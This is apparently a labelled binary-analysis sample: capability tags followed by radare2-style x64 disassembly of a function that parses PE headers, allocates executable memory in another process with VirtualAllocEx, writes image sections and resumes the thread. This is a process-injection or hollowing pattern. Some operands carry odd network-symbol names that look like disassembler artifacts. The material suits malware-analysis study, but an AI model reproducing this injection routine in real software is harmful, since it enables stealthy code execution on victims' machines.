Function at 0x1401c3ac4
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Resume thread

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0xe8
lea rbp, [rsp + 0x120]
mov rsi, rcx
mov rbx, rdx
mov rdi, r8
mov r14, r9
mov rcx, rsi
mov edx, 0x3c
call fcn.1401d5758
mov r15d, eax
lea edx, [r15 + 0x50]
mov rcx, rsi
call fcn.1401d5758
mov r12d, eax
lea edx, [r15 + 0x54]
mov rcx, rsi
call fcn.1401d5758
mov r13d, eax
lea edx, [r15 + 0x28]
mov rcx, rsi
call fcn.1401d5758
mov dword [rbp - 0x3c], eax
lea edx, [r15 + 6]
mov rcx, rsi
call fcn.1401d5708
mov dword [rbp - 0x40], eax
lea edx, [r15 + 0x14]
mov rcx, rsi
call fcn.1401d5708
mov dword [rbp - 0x44], eax
lea edx, [r15 + 0x30]
mov qword [rbp + 0x10], rsi
mov rcx, rsi
call fcn.1401d57a8
mov qword [rbp - 0x50], rax
lea rcx, [0x140513750]
mov edx, 0x68
call fcn.140008f60
mov qword [rbp - 0x70], rax
lea rcx, [0x140513750]
mov edx, 0x18
call fcn.140008f60
mov qword [rbp - 0x78], rax
mov ecx, 0x4d0
mov edx, reloc.WS2_32.dll_recv
call fcn.1401c3f58
mov qword [rbp - 0x58], rax
mov r9, rbx
test r14, r14
mov rax, qword [rbp - 0x58]
je 0x1401c3bcc
cmp dword [r14 + 8], 0
je 0x1401c3bcc
mov qword [rbp - 0x58], rax
mov rcx, rbx
mov r8, r14
lea rdx, [0x1406840f8]
call fcn.1401cb5d8
mov qword [rbp - 0x80], rax
mov rax, qword [rbp - 0x58]
mov r9, qword [rbp - 0x80]
test rdi, rdi
je 0x1401c3f36
xor ecx, ecx
cmp dword [rdi + 8], 0
sete cl
test cl, cl
mov qword [rbp - 0x80], r9
je 0x1401c3c2e
mov qword [rbp - 0x58], rax
mov rcx, rbx
call fcn.14025056c
mov rdx, rax
mov rcx, rbx
lea r8, [0x140684008]
cmp dword [rcx], ecx
call fcn.1401cc638
mov rdi, rax
test rdi, rdi
je 0x1401c3f2d
xor ecx, ecx
cmp dword [rdi + 8], 0
sete cl
test cl, cl
je 0x1401c3f24
lea rdi, [0x1406914c8]
mov rax, qword [rbp - 0x58]
mov qword [rbp - 0x58], rax
mov rcx, rax
mov edx, 0x30
mov r8d, 0x10001b
call fcn.140263744
mov dword [rsp + 0x20], 1
mov dword [rsp + 0x28], 4
xor edx, edx
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x38], rdi
mov rdi, qword [rbp - 0x70]
mov qword [rsp + 0x40], rdi
mov rdi, qword [rbp - 0x78]
mov qword [rsp + 0x48], rdi
mov rdx, qword [rbp - 0x80]
xor ecx, ecx
xor r8d, r8d
xor r9d, r9d
call fcn.1401c36a0
mov rcx, rdi
xor edx, edx
call fcn.1401d57a8
mov rbx, rax
mov rcx, rdi
mov edx, 8
call fcn.1401d57a8
mov rdi, rax
mov rcx, rbx
mov rdx, qword [rbp - 0x50]
call fcn.1401c394c
mov dword [rsp + 0x20], 0x40
movsxd r8, r12d
mov qword [rbp - 0x94], r8
mov rcx, rbx
mov qword [rbp - 0x9c], rcx
mov rdx, qword [rbp - 0x50]
mov qword [rbp - 0xa4], rdx
mov r9d, 0x3000
mov dword [rbp - 0x8c], r9d
lea rcx, [rbp - 0xd0]
call fcn.1400092b0
mov r8, qword [rbp - 0x94]
mov rcx, qword [rbp - 0x9c]
mov rdx, qword [rbp - 0xa4]
mov r9d, dword [rbp - 0x8c]
call sub.KERNEL32.dll_VirtualAllocEx
lea rcx, [rbp - 0xd0]
call fcn.140009300
xor ecx, ecx
mov qword [rsp + 0x20], rcx
mov rcx, rbx
mov rdx, qword [rbp - 0x50]
mov r8, qword [rbp + 0x10]
mov r9d, r13d
call fcn.1401c38b8
xor esi, esi
mov r14d, dword [rbp - 0x40]
test r14d, r14d
jle 0x1401c3f1b
lea rcx, [0x140513750]
mov edx, 0x28
call fcn.140008f60
mov r12, rax
mov dword [rsp + 0x20], 0x28
mov r13d, dword [rbp - 0x44]
lea edx, [r15 + r13]
lea ecx, [rsi + rsi*4]
lea edx, [rdx + rcx*8 + 0x18]
mov rcx, qword [rbp + 0x10]
mov r8, r12
xor r9d, r9d
call fcn.1401c5334
mov rcx, r12
mov edx, recv
call fcn.1401d5758
mov dword [rbp - 0x5c], eax
mov rcx, r12
mov edx, reloc.WS2_32.dll_recv
call fcn.1401d5758
mov dword [rbp - 0x60], eax
mov rcx, r12
mov edx, setsockopt
call fcn.1401d5758
mov r12d, eax
mov edx, dword [rbp - 0x60]
movsxd rdx, edx
lea rcx, [0x140513750]
call fcn.140008f60
mov qword [rbp - 0x88], rax
mov r10d, dword [rax + 8]
mov dword [rbp - 0x64], r10d
mov dword [rsp + 0x20], r10d
mov rcx, qword [rbp + 0x10]
mov edx, r12d
mov r8, rax
xor r9d, r9d
call fcn.1401c5334
xor edx, edx
mov qword [rsp + 0x20], rdx
mov r12d, dword [rbp - 0x5c]
movsxd rdx, r12d
mov r12, qword [rbp - 0x50]
add rdx, r12
mov r9d, dword [rbp - 0x64]
mov rcx, rbx
mov r8, qword [rbp - 0x88]
call fcn.1401c38b8
inc esi
movsx rsi, si
cmp esi, r14d
mov dword [rbp - 0x44], r13d
jl 0x1401c3f12
mov rcx, rdi
mov rdx, qword [rbp - 0x58]
call fcn.1401c3a14
mov rcx, r12
call fcn.1401d56d0
mov rsi, rax
mov rcx, qword [rbp - 0x58]
mov edx, 0x88
call fcn.1402636f8
lea rdx, [rax + 0x10]
xor ecx, ecx
mov qword [rsp + 0x20], rcx
mov rcx, rbx
mov r8, rsi
mov r9d, 8
call fcn.1401c38b8
mov esi, dword [rbp - 0x3c]
movsxd r8, esi
add r8, r12
mov rcx, qword [rbp - 0x58]
mov edx, pe_nt_image_headers64
call fcn.140263790
mov rcx, rdi
mov rdx, qword [rbp - 0x58]
call fcn.1401c39b8
mov rcx, rdi
mov qword [rbp - 0xa4], rcx
lea rcx, [rbp - 0xd0]
call fcn.1400092b0
mov rcx, qword [rbp - 0xa4]
call sub.KERNEL32.dll_ResumeThread
lea rcx, [rbp - 0xd0]
call fcn.140009300
mov rsi, qword [rbp - 0x58]
test rsi, 0xffffffffffff0000
je 0x1401c3eed
mov rcx, rsi
mov qword [rbp - 0xa4], rcx
lea rcx, [rbp - 0xd0]
call fcn.1400092b0
mov rcx, qword [rbp - 0xa4]
call sub.KERNEL32.dll_LocalFree
lea rcx, [rbp - 0xd0]
call fcn.140009300
mov rcx, rbx
call fcn.1401c3a70
mov rcx, rdi
call fcn.1401c3a70
nop
add rsp, 0xe8
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov qword [rbp - 0x50], r12
jmp 0x1401c3d43
mov r12, qword [rbp - 0x50]
jmp 0x1401c3e20
mov rax, qword [rbp - 0x58]
jmp 0x1401c3c2e
mov rax, qword [rbp - 0x58]
jmp 0x1401c3c2e
mov qword [rbp - 0x80], r9
jmp 0x1401c3c2e